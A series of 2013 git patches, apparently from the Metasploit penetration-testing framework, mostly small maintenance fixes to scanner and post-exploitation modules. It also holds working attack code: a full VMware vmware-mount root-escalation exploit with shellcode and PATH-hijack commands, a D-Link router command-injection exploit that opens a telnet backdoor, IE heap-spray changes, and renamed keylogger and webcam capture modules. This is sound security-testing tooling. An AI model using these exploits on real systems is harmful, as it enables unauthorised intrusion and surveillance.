.../auxiliary/scanner/http/litespeed_source_disclosure.rb | 2 +- .../scanner/http/majordomo2_directory_traversal.rb | 7 +------ modules/auxiliary/scanner/http/nginx_source_disclosure.rb | 2 +- modules/auxiliary/scanner/http/sevone_enum.rb | 2 +- modules/auxiliary/scanner/http/wordpress_login_enum.rb | 2 +- modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb | 2 +- 9 files changed, 9 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index 5634f634f8f6a..9c1d76fe25f59 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -85,7 +85,7 @@ def get_credentials(uri) print_status("#{target_url} - Apache Axis - Dumping administrative credentials") if res.nil? - print_error("Connection timed out") + print_error("#{target_url} - Connection timed out") return end diff --git a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb index 732e18b274884..64c9a8c437d43 100644 --- a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb @@ -64,7 +64,7 @@ def run_host(ip) }, 25) if res.nil? - print_error("Connection timed out") + print_error("#{target_url} - Connection timed out") return end diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 4e5f7aab2b5d9..f563a0dc5bce0 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -93,7 +93,7 @@ def do_login(user, pass) end if res.nil? - print_error("Connection timed out") + print_error("#{@peer} - Connection timed out") return :abort end diff --git a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb index cd0a0acde9111..b0e09427a3760 100644 --- a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb @@ -63,7 +63,7 @@ def run_host(ip) }, 25) if res.nil? - print_error("Connection timed out") + print_error("#{target_url} - Connection timed out") return end diff --git a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb index 1e089309fc5f7..97c7d40f17289 100644 --- a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb @@ -43,11 +43,6 @@ module will attempt to download the Majordomo config.pl file. ], self.class) end - def target_url - uri = normalize_uri(datastore['URI']) - "http://#{vhost}:#{rport}#{datastore['URI']}" - end - def run_host(ip) trav_strings = [ '../', @@ -72,7 +67,7 @@ def run_host(ip) }, 25) if res.nil? - print_error("Connection timed out") + print_error("#{rhost}:#{rport} Connection timed out") return end diff --git a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb index fb90341cf55b2..5793df317084f 100644 --- a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb @@ -73,7 +73,7 @@ def run_host(ip) }, 25) if res.nil? - print_error("Connection timed out") + print_error("#{target_url} - nginx - Connection timed out") return else version = res.headers['Server'] diff --git a/modules/auxiliary/scanner/http/sevone_enum.rb b/modules/auxiliary/scanner/http/sevone_enum.rb index 0dd29b3ef2da4..5fbd3094252a1 100644 --- a/modules/auxiliary/scanner/http/sevone_enum.rb +++ b/modules/auxiliary/scanner/http/sevone_enum.rb @@ -87,7 +87,7 @@ def do_login(user, pass) }) if res.nil? - print_error("Connection timed out") + print_error("#{rhost}:#{rport} - Connection timed out") return :abort end diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index dcfa68a6be459..aa0ca6f110753 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -112,7 +112,7 @@ def do_enum(user=nil) }, 20) if res.nil? - print_error("Connection timed out") + print_error("#{target_url} - Connection timed out") return :abort end diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb index 971d1a9ec4495..b8b876d50b516 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb @@ -91,7 +91,7 @@ def do_login(user=nil,pass=nil) }, 20) if res.nil? - print_error("Connection timed out") + print_error("http://#{vhost}:#{rport} - Connection timed out") return end From 4cbdf3837726009b53e9653edbfd513ae65ca70c Mon Sep 17 00:00:00 2001 From: violet Date: Mon, 26 Aug 2013 16:14:49 -0700 Subject: [PATCH 378/454] updated contact info MASTER OF DISASTER ULTRA LASER :::::::-. :::::::.. :::::::-. ... ... . : ;;, `';,;;;;``;;;; ;;, `';, .;;;;;;;. .;;;;;;;. ;;,. ;;; `[[ [[ [[[,/[[[' `[[ [[,[[ \[[,,[[ \[[,[[[[, ,[[[[, $$, $$ $$$$$$c $$, $$$$$, $$$$$$, $$$$$$$$$$$"$$$ 888_,o8P' 888b "88bo,d8b 888_,o8P'"888,_ _,88P"888,_ _,88P888 Y88" 888o MMMMP"` MMMM "W" YMP MMMMP"` "YMMMMMP" "YMMMMMP" MMM M' "MMM --- modules/exploits/windows/smb/ms08_067_netapi.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index e095bde6adbeb..adb8f70b12e3f 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -34,7 +34,7 @@ def initialize(info = {}) [ 'hdm', # with tons of input/help/testing from the community 'Brett Moore ', - 'staylor', # check() detection + 'frank2 ', # check() detection 'jduck', # XP SP2/SP3 AlwaysOn DEP bypass ], 'License' => MSF_LICENSE, From 63786f9e8625e5a20f0a95a1010b370c8c7d67f1 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 26 Aug 2013 21:06:40 -0500 Subject: [PATCH 379/454] Add local exploit for taviso's vmware privesc --- modules/exploits/linux/local/vmware_mount.rb | 84 ++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 modules/exploits/linux/local/vmware_mount.rb diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb new file mode 100644 index 0000000000000..1ebee67da64b5 --- /dev/null +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -0,0 +1,84 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' + +class Metasploit4 < Msf::Exploit::Local + + include Msf::Exploit::EXE + include Msf::Post::Common + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'VMWare Setuid vmware-mount Unsafe popen', + 'Description' => %q{ + VMWare Workstation (up to and including 9.0.2 build-1031769) + and Player have a setuid executable called vmware-mount that + invokes lsb_release in the PATH with popen(3). Since PATH is + user-controlled, and the default system shell on + Debian-derived distributions does not drop privs, we can put + an arbitrary payload in an executable called lsb_release and + have vmware-mount happily execute it as root for us. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'linux' ], + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultOptions' => { + "PrependSetresuid" => true, + "PrependSetresgid" => true, + }, + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', "http://blog.cmpxchg8b.com/2013/08/security-debianisms.html" ], + ] + } + )) + # Handled by ghetto hardcoding below. + deregister_options("PrependFork") + end + + def check + if setuid?("/usr/bin/vmware-mount") + CheckCode::Vulnerable + else + CheckCode::Safe + end + end + + def exploit + unless check == CheckCode::Vulnerable + fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid") + end + + # Ghetto PrependFork action which is apparently only implemented for + # Meterpreter. + # XXX Put this in a mixin somewhere + exe = generate_payload_exe( + :code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded + ) + write_file("lsb_release", exe) + + cmd_exec("chmod +x lsb_release") + cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount") + cmd_exec("rm -f lsb_release") + end + + def setuid?(remote_file) + !!(cmd_exec("test -u /usr/bin/vmware-mount && echo true").index "true") + end + +end + From e1e889131be8018a8e656e1de662e903bbf3a9ff Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 26 Aug 2013 23:26:13 -0500 Subject: [PATCH 380/454] Add references and comments --- modules/exploits/linux/local/vmware_mount.rb | 21 +++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 1ebee67da64b5..be1a87ce5e648 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -40,10 +40,16 @@ def initialize(info={}) "PrependSetresuid" => true, "PrependSetresgid" => true, }, + 'Privileged' => true, 'DefaultTarget' => 0, 'References' => [ - [ 'URL', "http://blog.cmpxchg8b.com/2013/08/security-debianisms.html" ], - ] + [ 'CVE', '2013-1662' ], + [ 'OSVDB', '96588' ], + [ 'BID', '61966'], + [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ], + [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ] + ], + 'DisclosureDate' => "Aug 22 2013" } )) # Handled by ghetto hardcoding below. @@ -66,6 +72,15 @@ def exploit # Ghetto PrependFork action which is apparently only implemented for # Meterpreter. # XXX Put this in a mixin somewhere + # if(fork()) exit(0); + # 6A02 push byte +0x2 + # 58 pop eax + # CD80 int 0x80 ; fork + # 85C0 test eax,eax + # 7406 jz 0xf + # 31C0 xor eax,eax + # B001 mov al,0x1 + # CD80 int 0x80 ; exit exe = generate_payload_exe( :code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded ) @@ -73,7 +88,7 @@ def exploit cmd_exec("chmod +x lsb_release") cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount") - cmd_exec("rm -f lsb_release") + cmd_exec("rm -f lsb_release") # using it over FileDropper because the original session can clean it up end def setuid?(remote_file) From 93c46c4be56952497c8c4d8a858668f3bc45b7f4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 26 Aug 2013 23:29:16 -0500 Subject: [PATCH 381/454] Complete the Author metadata --- modules/exploits/linux/local/vmware_mount.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index be1a87ce5e648..8a65b3d134ebc 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -29,7 +29,11 @@ def initialize(info={}) have vmware-mount happily execute it as root for us. }, 'License' => MSF_LICENSE, - 'Author' => [ 'egypt'], + 'Author' => + [ + 'Tavis Ormandy', # Vulnerability discovery and PoC + 'egypt' # Metasploit module + ], 'Platform' => [ 'linux' ], 'Arch' => ARCH_X86, 'Targets' => From 7efe85dbd6a57ea6ee6e6225acf9e374215bafa4 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 27 Aug 2013 14:00:13 +0100 Subject: [PATCH 382/454] php_include - added @wchen-r7's code improvements --- lib/msf/core/exploit/http/server.rb | 6 +----- modules/exploits/unix/webapp/php_include.rb | 5 +---- 2 files changed, 2 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 927ee4a83ca5f..1435d0282dcb9 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -501,11 +501,7 @@ def remove_resource(name) # Guard against removing resources added by other modules if @my_resources.include?(name) @my_resources.delete(name) - begin - service.remove_resource(name) - rescue ::Exception => e - print_error("Exception: #{e.class} #{e}") - end + service.remove_resource(name) end end diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index 6aa118e609df5..d2c029239e9b7 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -92,9 +92,6 @@ def datastore_headers end def php_exploit - # Set verbosity level - verbose = datastore['VERBOSE'].to_s.downcase - uris = [] tpath = normalize_uri(datastore['PATH']) @@ -137,7 +134,7 @@ def php_exploit uris.each do |uri| break if session_created? - print_status("Sending: #{rhost+tpath+uri}") if verbose == "true" + vprint_status("Sending: #{rhost+tpath+uri}") begin if http_method == "GET" response = send_request_raw( { From 66fa1b41aa701bf5115f6b493c8e51d0f92bcd0a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 27 Aug 2013 09:57:55 -0500 Subject: [PATCH 383/454] Fix logic to spray correctly IE9 --- .../exploits/windows/browser/hp_loadrunner_writefilebinary.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index 220fda61620ae..be6eca4e8c714 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -118,7 +118,7 @@ def ie_heap_spray(my_target, p) # Land the payload at 0x0c0c0c0c case my_target - when targets[7] + when targets[6] # IE 9 on Windows 7 js = %Q| function randomblock(blocksize) From f59f57e148bdb505feec9058f7012a4de599b957 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 27 Aug 2013 10:35:06 -0500 Subject: [PATCH 384/454] Randomize object id --- .../windows/browser/hp_loadrunner_writefilebinary.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index be6eca4e8c714..84fa3069234a0 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -215,6 +215,7 @@ def get_payload(t, cli) def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) + object_id = rand_text_alpha(rand(10) + 8) html = %Q| @@ -224,9 +225,9 @@ def load_exploit_html(my_target, cli) - + From 15b741bb5f3e0c5ec70e853cb3e8b2d57989c5b7 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 27 Aug 2013 10:36:51 -0500 Subject: [PATCH 385/454] Require the powershell mixin explicitly --- modules/exploits/windows/http/oracle_endeca_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index ffe4936f3277f..1ffb5268aa546 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking From 16ace44f2d31bba5726ea9d94f503e09fa49d354 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 27 Aug 2013 11:35:00 -0500 Subject: [PATCH 386/454] Move keylogger.rb to post/osx/capture/keylog_recorder To match the naming consistency with Windows --- .../post/osx/{gather/keylogger.rb => capture/keylog_recorder.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/post/osx/{gather/keylogger.rb => capture/keylog_recorder.rb} (100%) diff --git a/modules/post/osx/gather/keylogger.rb b/modules/post/osx/capture/keylog_recorder.rb similarity index 100% rename from modules/post/osx/gather/keylogger.rb rename to modules/post/osx/capture/keylog_recorder.rb From a9459ef7034955dcf741edc7c88ed3b9fa84923a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 27 Aug 2013 11:36:26 -0500 Subject: [PATCH 387/454] Update module title for naming style consistency --- modules/post/osx/capture/keylog_recorder.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb index c393309f6ff1b..3f679ceb6ae12 100644 --- a/modules/post/osx/capture/keylog_recorder.rb +++ b/modules/post/osx/capture/keylog_recorder.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => 'OSX Userspace Keylogger', + 'Name' => 'OSX Capture Userspace Keylogger', 'Description' => %q{ Logs all keyboard events except cmd-keys and GUI password input. From 0bfc12ada1d4e3288eb89dc8b6b3b9d361f6feec Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 27 Aug 2013 11:38:49 -0500 Subject: [PATCH 388/454] Fix the way to get a session over a telnet connection --- .../http/dlink_command_php_exec_noauth.rb | 147 ++++++++---------- 1 file changed, 69 insertions(+), 78 deletions(-) diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 4bc3679a6899d..9d715dbe7b4cf 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::CommandShell def initialize(info = {}) super(update_info(info, @@ -20,10 +19,7 @@ def initialize(info = {}) Different D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in command.php, which is accessible without authentication. This module has been tested with the versions DIR-600 2.14b01, - DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service - and establish a session over it, the second one runs commands via the CMD target. - There is no wget or tftp client to upload an elf backdoor easily. According to the - vulnerability discoverer, more D-Link devices may affected. + DIR-300 rev B 2.13. }, 'Author' => [ @@ -42,61 +38,45 @@ def initialize(info = {}) ], 'DisclosureDate' => 'Feb 04 2013', 'Privileged' => true, - 'Platform' => ['linux','unix'], - 'Payload' => + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => { - 'DisableNops' => true, + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ - [ 'CMD', #all devices - { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' - } - ], - [ 'Telnet', #all devices - default target - { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' - } - ], + [ 'Automatic', { } ] ], - 'DefaultTarget' => 1 + 'DefaultTarget' => 0 )) - end - def exploit - if target.name =~ /CMD/ - exploit_cmd - else - exploit_telnet - end + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]), + OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10]) + ], self.class) + end - def exploit_cmd - if not (datastore['CMD']) - fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") - end - cmd = "#{payload.encoded}; echo end" - print_status("#{rhost}:#{rport} - Sending exploit request...") - res = request(cmd) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end + def tel_timeout + (datastore['TelnetTimeout'] || 10).to_i + end - if res.body.include?("end") - print_good("#{rhost}:#{rport} - Exploited successfully\n") - vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") - vprint_line("#{rhost}:#{rport} - Output: #{res.body}") - else - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25).to_i + end - return + def session_timeout + (datastore['SessionTimeout'] || 10).to_i end - def exploit_telnet + def exploit telnetport = rand(65535) print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}") @@ -107,39 +87,33 @@ def exploit_telnet print_status("#{rhost}:#{rport} - Sending exploit request...") request(cmd) - begin - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - if sock - print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") - add_socket(sock) - else - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end - print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" - auth_info = { - :host => rhost, - :port => telnetport, - :sname => 'telnet', - :user => "", - :pass => "", - :source_type => "exploit", - :active => true - } - report_auth_info(auth_info) - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => nil, - 'PASSWORD' => nil - } - start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) - rescue - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established... trying to connect") + end + + print_status("#{rhost}:#{rport} - Trying to create the Msf session...") + begin + Timeout.timeout(session_timeout) do + activated = handler(sock) + while(activated !~ /claimed/) + activated = handler(sock) + end + end + rescue ::Timeout::Error + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a Msf session") end - return end def request(cmd) @@ -156,7 +130,24 @@ def request(cmd) }) return res rescue ::Rex::ConnectionError - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice") end end + + def negotiate_telnet(sock) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, tel_timeout) + return nil if not data or data.length == 0 + if data =~ /\x23\x20$/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end + end From 13996b98cf645b0d5a86422c6fef86830a8f17b6 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 27 Aug 2013 12:39:46 -0500 Subject: [PATCH 389/454] Correct action description for recording The correct description is recording --- modules/post/osx/manage/webcam.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb index e5c252899e817..d6e758a8c5e27 100644 --- a/modules/post/osx/manage/webcam.rb +++ b/modules/post/osx/manage/webcam.rb @@ -32,7 +32,7 @@ def initialize(info={}) 'Actions' => [ [ 'LIST', { 'Description' => 'Show a list of webcams' } ], [ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ], - [ 'RECORD', { 'Description' => 'Take a snapshot with the webcam' } ] + [ 'RECORD', { 'Description' => 'Record with the webcam' } ] ], 'DefaultAction' => 'LIST' )) From b702a0d35384cb631600afaec44adca7f94fac0b Mon Sep 17 00:00:00 2001 From: Vlatko Kosturjak Date: Wed, 28 Aug 2013 12:53:08 +0200 Subject: [PATCH 390/454] Fix "A payload has not been selected." Since platform definition is missing, exploitation fails. --- modules/exploits/multi/samba/nttrans.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/samba/nttrans.rb b/modules/exploits/multi/samba/nttrans.rb index da00c38fc2a58..b7ee4a744348a 100644 --- a/modules/exploits/multi/samba/nttrans.rb +++ b/modules/exploits/multi/samba/nttrans.rb @@ -34,6 +34,7 @@ def initialize(info = {}) [ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ] ], 'Privileged' => true, + 'Platform' => 'linux', 'Payload' => { 'Space' => 1024, From ab572d7d7211f5971b1668be2c5f98846ef6a4ac Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 08:53:48 -0500 Subject: [PATCH 391/454] Fix Authors metadata section --- modules/exploits/unix/webapp/spip_connect_exec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb index 18807b4d828e2..8c9607b01478d 100644 --- a/modules/exploits/unix/webapp/spip_connect_exec.rb +++ b/modules/exploits/unix/webapp/spip_connect_exec.rb @@ -24,9 +24,9 @@ def initialize(info = {}) }, 'Author' => [ - 'Arnaud Pachot', #Initial discovery - 'Davy Douhine and Frederic Cikala', #PoC - 'Davy Douhine', #MSF module + 'Arnaud Pachot', #Initial discovery + 'Frederic Cikala', # PoC + 'Davy Douhine' # PoC and MSF module ], 'License' => MSF_LICENSE, 'References' => From bc593aab4f6414fc6c017c8a11a90cf5f4510a37 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 09:24:32 -0500 Subject: [PATCH 392/454] Avoid confusion between variable and method name --- modules/post/windows/gather/enum_prefetch.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index e14b780ec64f3..1c12f251b529f 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -28,7 +28,7 @@ def initialize(info={}) 'SessionType' => ['meterpreter'])) end - def prefetch_key_value() + def print_prefetch_key_value() # Checks if Prefetch registry key exists and what value it has. prefetch_key_value = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters", "EnablePrefetcher") if prefetch_key_value == 0 @@ -145,7 +145,7 @@ def run "Hash", "Filename" ]) - prefetch_key_value + print_prefetch_key_value timezone_key_values(key_value) print_good("Current UTC Time: %s" % Time.now.utc) sys_root = expand_path("%SYSTEMROOT%") From 8ac82b8b1847867490f035813e14fb9677719fdc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 09:25:49 -0500 Subject: [PATCH 393/454] Beautify timezone_key_values function --- modules/post/windows/gather/enum_prefetch.rb | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 1c12f251b529f..d2a5a1a7f0b17 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -44,23 +44,23 @@ def print_prefetch_key_value() end end - def timezone_key_values(key_value) + def print_timezone_key_values(key_value) # Looks for timezone from registry timezone = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", key_value) tz_bias = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", "Bias") if timezone.nil? or tz_bias.nil? print_line("Couldn't find key/value for timezone from registry.") else - print_good("Remote: Timezone is %s." % timezone) - if tz_bias < 0xfff - print_good("Remote: Localtime bias to UTC: -%s minutes." % tz_bias) - else - offset = 0xffffffff - bias = offset - tz_bias - print_good("Remote: Localtime bias to UTC: +%s minutes." % bias) - end + print_good("Remote: Timezone is %s." % timezone) + if tz_bias < 0xfff + print_good("Remote: Localtime bias to UTC: -%s minutes." % tz_bias) + else + offset = 0xffffffff + bias = offset - tz_bias + print_good("Remote: Localtime bias to UTC: +%s minutes." % bias) end end + end def gather_pf_info(name_offset, hash_offset, runcount_offset, filename, table) # We'll load the file and parse information from the offsets @@ -146,7 +146,7 @@ def run "Filename" ]) print_prefetch_key_value - timezone_key_values(key_value) + print_timezone_key_values(key_value) print_good("Current UTC Time: %s" % Time.now.utc) sys_root = expand_path("%SYSTEMROOT%") full_path = sys_root + "\\Prefetch\\" From ef3085823ce1a58fb8dd7afe0968387a1b695202 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 09:26:46 -0500 Subject: [PATCH 394/454] Use default timeout value --- modules/post/windows/gather/enum_prefetch.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index d2a5a1a7f0b17..c9cb8d79162a2 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -156,7 +156,7 @@ def run # Goes through the files in Prefetch directory, creates file paths for the # gather_pf_info function that enumerates all the pf info - getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,timeout=-1) + getfile_prefetch_filenames = client.fs.file.search(full_path,file_type) if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil? 